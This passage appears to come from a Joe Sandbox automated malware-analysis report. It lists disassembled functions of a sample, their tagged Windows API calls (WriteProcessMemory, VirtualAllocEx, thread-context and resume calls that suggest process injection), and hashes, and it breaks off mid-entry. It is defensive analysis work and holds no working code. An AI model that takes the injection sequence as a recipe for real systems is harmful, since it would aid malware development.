                                                                                                                              • Instruction Fuzzy Hash: 1B915CB1D0125ACFDB10CF78C8417ADBBB6BF48714F1481A9E809A7390DB749985CFA1
                                                                                                                              Function 00FF449C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 00FF59D1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1730252140.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_ff0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Create
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2289755597-0
                                                                                                                              • Opcode ID: 7580f09866700cce39c02502dd4c4a67cd8b29479cbb815b1a08406064052cc0
                                                                                                                              • Instruction ID: d69931f2253d366d24a21d5499b0ca6fd61c60d838ab4b3fc037c85ca3609d2d
                                                                                                                              • Opcode Fuzzy Hash: 7580f09866700cce39c02502dd4c4a67cd8b29479cbb815b1a08406064052cc0
                                                                                                                              • Instruction Fuzzy Hash: CF41E2B0C0071DCBDB24DFA9C884B9EBBF5BF49704F24806AD508AB265DBB56945CF90
                                                                                                                              Function 00FF5914 Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 00FF59D1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1730252140.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_ff0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Create
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2289755597-0
                                                                                                                              • Opcode ID: 0d5071b38cc3389dbe1c522feb25988806e240a2cadbe58ce0748914a58d356a
                                                                                                                              • Instruction ID: 4e56b6e9ae664c99cf267e1643802e3b146c331bd8040af1daff87760af71781
                                                                                                                              • Opcode Fuzzy Hash: 0d5071b38cc3389dbe1c522feb25988806e240a2cadbe58ce0748914a58d356a
                                                                                                                              • Instruction Fuzzy Hash: 4641F1B0C0061DCEDB24CFA9C884BDDBBB5BF48704F24806AD508AB265DB755945CF90
                                                                                                                              Function 076418F8 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 07641997
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737294135.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7640000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DrawText
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2175133113-0
                                                                                                                              • Opcode ID: 1e09d4f94faa9b50de2e19fc13e99d03a446d97cf46aec7029a25f2f8391e5af
                                                                                                                              • Instruction ID: ca487abd258c8c046243d53c095f82ea407bfcdbf38bc773533613befacaa594
                                                                                                                              • Opcode Fuzzy Hash: 1e09d4f94faa9b50de2e19fc13e99d03a446d97cf46aec7029a25f2f8391e5af
                                                                                                                              • Instruction Fuzzy Hash: 1831C2B59002499FDB14CFAAD884ADEBBF5EF49320F14842AE519A7310D774A944CFA4
                                                                                                                              Function 076E48C1 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 076E4958
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3559483778-0
                                                                                                                              • Opcode ID: ab9dc2c3ac9f5f0566507a21d7bcd5a767b6b1d91a4f93daa28d294c29566c6c
                                                                                                                              • Instruction ID: a64544eea6459c49f7cebb2a57d60dbfb2062151f501e49f030004b2da00c342
                                                                                                                              • Opcode Fuzzy Hash: ab9dc2c3ac9f5f0566507a21d7bcd5a767b6b1d91a4f93daa28d294c29566c6c
                                                                                                                              • Instruction Fuzzy Hash: 592148B59003599FCB10CFA9C985BDEBFF5FF88310F108429E959A7241C7799944CBA4
                                                                                                                              Function 07641900 Relevance: 1.6, APIs: 1, Instructions: 69COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 07641997
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737294135.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7640000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DrawText
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2175133113-0
                                                                                                                              • Opcode ID: a197ba770e520a02e6213a1f0c9ae3fa25f30dfcb56d262382e6ea9be705ce45
                                                                                                                              • Instruction ID: 2878179d2968a912a60f0f098cc7e515d56c7ea2ea9a1e48fe4f35c6ccedf63c
                                                                                                                              • Opcode Fuzzy Hash: a197ba770e520a02e6213a1f0c9ae3fa25f30dfcb56d262382e6ea9be705ce45
                                                                                                                              • Instruction Fuzzy Hash: D621C0B5D002499FDB14CF9AD884ADEFBF5FB48320F14842AE919A7310D774A944CFA4
                                                                                                                              Function 076E48C8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 076E4958
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3559483778-0
                                                                                                                              • Opcode ID: 3492e63fa519589fe13edb9e38198c03054f8c1ba4a282fb139d222a9c30a7a8
                                                                                                                              • Instruction ID: 3c77378b49c6c4c482d8fece6e81c9950e42b7d11dd80a310ec06ec7bfd974a7
                                                                                                                              • Opcode Fuzzy Hash: 3492e63fa519589fe13edb9e38198c03054f8c1ba4a282fb139d222a9c30a7a8
                                                                                                                              • Instruction Fuzzy Hash: 772125B19003599FCB10CFA9C885BDEBFF5FF88310F10842AE959A7250CB789954CBA4
                                                                                                                              Function 076E42F0 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076E4376
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ContextThreadWow64
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 983334009-0
                                                                                                                              • Opcode ID: 30654e95f9ff3c0142c278f4cca60b46fa55937f9fde858819e848a1b6d27c7d
                                                                                                                              • Instruction ID: 826041889fff72c91c062914716db3173abc26e0d7e6d02ae745ce512e517227
                                                                                                                              • Opcode Fuzzy Hash: 30654e95f9ff3c0142c278f4cca60b46fa55937f9fde858819e848a1b6d27c7d
                                                                                                                              • Instruction Fuzzy Hash: 2C2157B1D002098FDB10CFAAC5857EEFBF4EF48364F14842AD459A7281CB789685CFA4
                                                                                                                              Function 076E49B0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 076E4A38
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1726664587-0
                                                                                                                              • Opcode ID: 7674d55b1179cf0632dbeaa095e3c04f7cc337a8969ecf3bd6f98d36a57bad6c
                                                                                                                              • Instruction ID: 1225d706aade3999470814cbcb18e0bd244cfc0b3118b2ce5d91e77427ca732d
                                                                                                                              • Opcode Fuzzy Hash: 7674d55b1179cf0632dbeaa095e3c04f7cc337a8969ecf3bd6f98d36a57bad6c
                                                                                                                              • Instruction Fuzzy Hash: 7E2136B18002599FCB10DFAAC884AEEFFF5FF48320F108429E559A7650DB34A541CBA4
                                                                                                                              Function 076E42F8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076E4376
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ContextThreadWow64
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 983334009-0
                                                                                                                              • Opcode ID: 3f5ad37dd2148efcdcb42d9a5b9cef109f04fa221835d98a5bfcc32cf233fc6a
                                                                                                                              • Instruction ID: 0fb7995466aed24d8992ea793df299ed4b0f5b73b083709e367d43f48005de2d
                                                                                                                              • Opcode Fuzzy Hash: 3f5ad37dd2148efcdcb42d9a5b9cef109f04fa221835d98a5bfcc32cf233fc6a
                                                                                                                              • Instruction Fuzzy Hash: A72107B1D002498FDB10DFAAC4857EEBFF4EF88364F148429D459A7241CB789944CFA5
                                                                                                                              Function 076E49B8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 076E4A38
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1726664587-0
                                                                                                                              • Opcode ID: bcb368b3f72eb5ab3e05c43dc34a0efa5dbd2bca7ba0202cf764b5e707f1181b
                                                                                                                              • Instruction ID: a1c84d0d0fe17de55fb82f7de45cd55d0311e1e69e06c6ff67d76f5d56250c1b
                                                                                                                              • Opcode Fuzzy Hash: bcb368b3f72eb5ab3e05c43dc34a0efa5dbd2bca7ba0202cf764b5e707f1181b
                                                                                                                              • Instruction Fuzzy Hash: 832128B18002599FCB10DFAAC884ADEFBF5FF48320F108429E559A7250C7349545CBA4
                                                                                                                              Function 076E43C8 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 076E443E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4275171209-0
                                                                                                                              • Opcode ID: b88ec836c0c98c2626ebb4bd06ce0134d1269a1544a7b9bc79911ff592ef911e
                                                                                                                              • Instruction ID: 73996d77ee461b2aaa56a73763626771ecd4fc665c33c5aabe43a309510a5305
                                                                                                                              • Opcode Fuzzy Hash: b88ec836c0c98c2626ebb4bd06ce0134d1269a1544a7b9bc79911ff592ef911e
                                                                                                                              • Instruction Fuzzy Hash: 5B1147B19002499FCB10DFAAC844ADEBFF5EF88324F248419E519A7250CB359954CFA4
                                                                                                                              Function 076E43D0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 076E443E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4275171209-0
                                                                                                                              • Opcode ID: 64285ee0d9f5962ca31f25b505061f476d15ec7325a0c1d877618d08c6343bd9
                                                                                                                              • Instruction ID: 47f7bd05b4158facae273dcd22bea907f146a3753355000067be35fbd967beba
                                                                                                                              • Opcode Fuzzy Hash: 64285ee0d9f5962ca31f25b505061f476d15ec7325a0c1d877618d08c6343bd9
                                                                                                                              • Instruction Fuzzy Hash: 2B1167B2900249DFCB10DFAAC844BDEBFF5EF88324F108419E519A7250CB35A954CFA4
                                                                                                                              Function 076E4240 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ResumeThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 947044025-0
                                                                                                                              • Opcode ID: 452c2b096bed286cf142e708eb426812dee92425c67ba90cf68f695c2d900ccb
                                                                                                                              • Instruction ID: 1bd635c7ad3f1fa73a56077b419e8bc01e0928e0c248e331a1636542c66bc693
                                                                                                                              • Opcode Fuzzy Hash: 452c2b096bed286cf142e708eb426812dee92425c67ba90cf68f695c2d900ccb
                                                                                                                              • Instruction Fuzzy Hash: 091143B59002498FDB10DFAAC5457EEFBF4AF88324F20881AD45AA7250CB34A544CBA4
                                                                                                                              Function 076E4248 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ResumeThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 947044025-0
                                                                                                                              • Opcode ID: 25b6d4200798b0d13b8e552f3c8e04e94cd70c0429cfd87bdb290cfb17cd92a3
                                                                                                                              • Instruction ID: b15f9454988c5fbfc09011671eb1481bab5d3207891015ab4ef2ab172fb29e5f
                                                                                                                              • Opcode Fuzzy Hash: 25b6d4200798b0d13b8e552f3c8e04e94cd70c0429cfd87bdb290cfb17cd92a3
                                                                                                                              • Instruction Fuzzy Hash: 841125B19002498FDB20DFAAC4457DEFFF8EF88324F248429D459A7250CA75A944CBA8
                                                                                                                              Function 00FFEED8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 00FFEF3E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1730252140.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_ff0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HandleModule
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4139908857-0
                                                                                                                              • Opcode ID: 292690b4494c09776d829a818e75757a87519c5f19e580e3f0f4202babc4c8ab
                                                                                                                              • Instruction ID: 2b5e84dd1f5b61c5d600a3c9c4addd017fe313343e7fdd15ea0110e32bd83a2f
                                                                                                                              • Opcode Fuzzy Hash: 292690b4494c09776d829a818e75757a87519c5f19e580e3f0f4202babc4c8ab
                                                                                                                              • Instruction Fuzzy Hash: 491122B6C003498FDB10CF9AC444ADEFBF4EF88324F14842AD519A7260C375A545CFA5
                                                                                                                              Function 076E3518 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 076E701D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessagePost
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 410705778-0
                                                                                                                              • Opcode ID: 9d3b24e2c8a7240f830757dbb41868c25b35359e9fbb952dae0ea35ccf0cbf68
                                                                                                                              • Instruction ID: a2d093d2ef8141f5301f8c6f0cd5a9ec8fa3cc3e79912192e7a7101ad50656ba
                                                                                                                              • Opcode Fuzzy Hash: 9d3b24e2c8a7240f830757dbb41868c25b35359e9fbb952dae0ea35ccf0cbf68
                                                                                                                              • Instruction Fuzzy Hash: 151133B5800308DFCB10DF9AC888BDEFBF8EB48320F108419E519A7200C375A984CFA5
                                                                                                                              Function 076E6FB8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PostMessageW.USER32(?,00000010,00000000,?), ref: 076E701D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1737711477.00000000076E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076E0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_76e0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessagePost
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 410705778-0
                                                                                                                              • Opcode ID: 13a56773350479272760795a2bd59fe923097eb7d1efc0c2ea106c63c1f234d0
                                                                                                                              • Instruction ID: 7e8510c787b2c0256b3a7a29cbfe42686bd3d9b2209674d5f82e6b38a68f6870
                                                                                                                              • Opcode Fuzzy Hash: 13a56773350479272760795a2bd59fe923097eb7d1efc0c2ea106c63c1f234d0
                                                                                                                              • Instruction Fuzzy Hash: 8211F2B58003499FDB10DF99D589BDEFBF8FB48320F20881AD559A7251C375A684CFA4
                                                                                                                              Function 05BF4F5C Relevance: 1.4, Strings: 1, Instructions: 152COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Te^q
                                                                                                                              • API String ID: 0-671973202
                                                                                                                              • Opcode ID: 0f6fe98aa1085b5cee6ed5599e679148435bc771bace1014effc992007dbf0f8
                                                                                                                              • Instruction ID: 3002626869ee718346c4f363f92ec00d60b5d000b3257a60d6204d2fb61a3639
                                                                                                                              • Opcode Fuzzy Hash: 0f6fe98aa1085b5cee6ed5599e679148435bc771bace1014effc992007dbf0f8
                                                                                                                              • Instruction Fuzzy Hash: E4419D75B002098FCB14DB79D88897EBBF6FFC4310B158969E529DB395EB3099098790
                                                                                                                              Function 05BFF618 Relevance: 1.3, Strings: 1, Instructions: 83COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: @
                                                                                                                              • API String ID: 0-2766056989
                                                                                                                              • Opcode ID: d7d473717e3710d85453dd7db9f5ca092df0007a02b920c8a708e59b30dfa096
                                                                                                                              • Instruction ID: 4e887df8a9585e892b8bdb55360395e52013cd1699319ace417e4b205d55f13b
                                                                                                                              • Opcode Fuzzy Hash: d7d473717e3710d85453dd7db9f5ca092df0007a02b920c8a708e59b30dfa096
                                                                                                                              • Instruction Fuzzy Hash: 6821D030B002149FCF15AFB884845BEBBF5EF8A204B1444BAD6099B351DE31DD49C7A6
                                                                                                                              Function 05BFF608 Relevance: 1.3, Strings: 1, Instructions: 60COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: @
                                                                                                                              • API String ID: 0-2766056989
                                                                                                                              • Opcode ID: 067b83573aea53926b5b4c84ed61467a32b502a0a8202469ab918f51e38a2bd1
                                                                                                                              • Instruction ID: 3b4d9f64f038fbb555993b387c2ae2788687d3c8d30ceb97a2e65baec5a4737c
                                                                                                                              • Opcode Fuzzy Hash: 067b83573aea53926b5b4c84ed61467a32b502a0a8202469ab918f51e38a2bd1
                                                                                                                              • Instruction Fuzzy Hash: 4C110630B00311DFCF06AFA8C9845BEBBB1EF85300B1484BAD605DF251CA319948C7A1
                                                                                                                              Function 05BF8810 Relevance: 1.3, Strings: 1, Instructions: 58COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Te^q
                                                                                                                              • API String ID: 0-671973202
                                                                                                                              • Opcode ID: ce949ba83138088d13f619f6025194070877b64b982702185288da2f3f678402
                                                                                                                              • Instruction ID: 33137e81bf2ce2d2ba2955771ceaf3f31fbf61ddaff1478165486471b893c061
                                                                                                                              • Opcode Fuzzy Hash: ce949ba83138088d13f619f6025194070877b64b982702185288da2f3f678402
                                                                                                                              • Instruction Fuzzy Hash: 4C114F31F0020A8BCB44EBB999505FFB7F2EB85314F10446AD509E7284EB359D0ACB91
                                                                                                                              Function 05BF7D80 Relevance: 1.3, Strings: 1, Instructions: 32COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 4'^q
                                                                                                                              • API String ID: 0-1614139903
                                                                                                                              • Opcode ID: e6aa16b5504e608f2cdd916fa8374ec420bd0e2e7d897be46c1a0065f7e081ce
                                                                                                                              • Instruction ID: a72dfe4bfbc97639313ddc282cf390d279bdae0088942415752488b094809b09
                                                                                                                              • Opcode Fuzzy Hash: e6aa16b5504e608f2cdd916fa8374ec420bd0e2e7d897be46c1a0065f7e081ce
                                                                                                                              • Instruction Fuzzy Hash: 7AF06934A2120DDFCB84FFB8E5454ACBFF1FB84204B1084A9E406E7355EE306A49CB55
                                                                                                                              Function 05BF7D7A Relevance: 1.3, Strings: 1, Instructions: 31COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 4'^q
                                                                                                                              • API String ID: 0-1614139903
                                                                                                                              • Opcode ID: 0fa9a9b7baf0fa8c0c4e1ae45ac6aa54b33e75c9a9a55bb7c6cab70d0449c1ed
                                                                                                                              • Instruction ID: 749b7972c58d7e12a6b364a3178f8ab15fe0a7ac173fc02c2807516fcc264950
                                                                                                                              • Opcode Fuzzy Hash: 0fa9a9b7baf0fa8c0c4e1ae45ac6aa54b33e75c9a9a55bb7c6cab70d0449c1ed
                                                                                                                              • Instruction Fuzzy Hash: 72F0D134A2134ECFCB84EFB8E1454AC7FB1FB81304B148599E4029B396DE301A46CB55
                                                                                                                              Function 05BF5030 Relevance: .8, Instructions: 775COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 9820b883c82eedc21d0c5bf7f6d0a5284782e566f02493776f8b8366943306c7
                                                                                                                              • Instruction ID: 1239ff05e4d9d2972f6f721d00e3f4c71b6c45b30bf182aa2785d736a04c12ed
                                                                                                                              • Opcode Fuzzy Hash: 9820b883c82eedc21d0c5bf7f6d0a5284782e566f02493776f8b8366943306c7
                                                                                                                              • Instruction Fuzzy Hash: 9F6234B0F01B414AD7345F78955C3AEBAA5FB4A340F104D9FD2AACB2E1DB34A4498F05
                                                                                                                              Function 05BF5070 Relevance: .4, Instructions: 449COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: e1662033d5ed09944b0df4224300e225395edff3603376f5e2716ce4c953e0e8
                                                                                                                              • Instruction ID: 19f453d12b500545502dc6888740a48f1a1ce8dcf687815093023f7f7e518723
                                                                                                                              • Opcode Fuzzy Hash: e1662033d5ed09944b0df4224300e225395edff3603376f5e2716ce4c953e0e8
                                                                                                                              • Instruction Fuzzy Hash: 811254B0E05F424AD7745F68958C39EB694FB0B350F204D9FC1FAC92A6D734B08A9B49
                                                                                                                              Function 05BFC258 Relevance: .2, Instructions: 227COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.1735912160.0000000005BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_5bf0000_rSOD219ISF-____.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
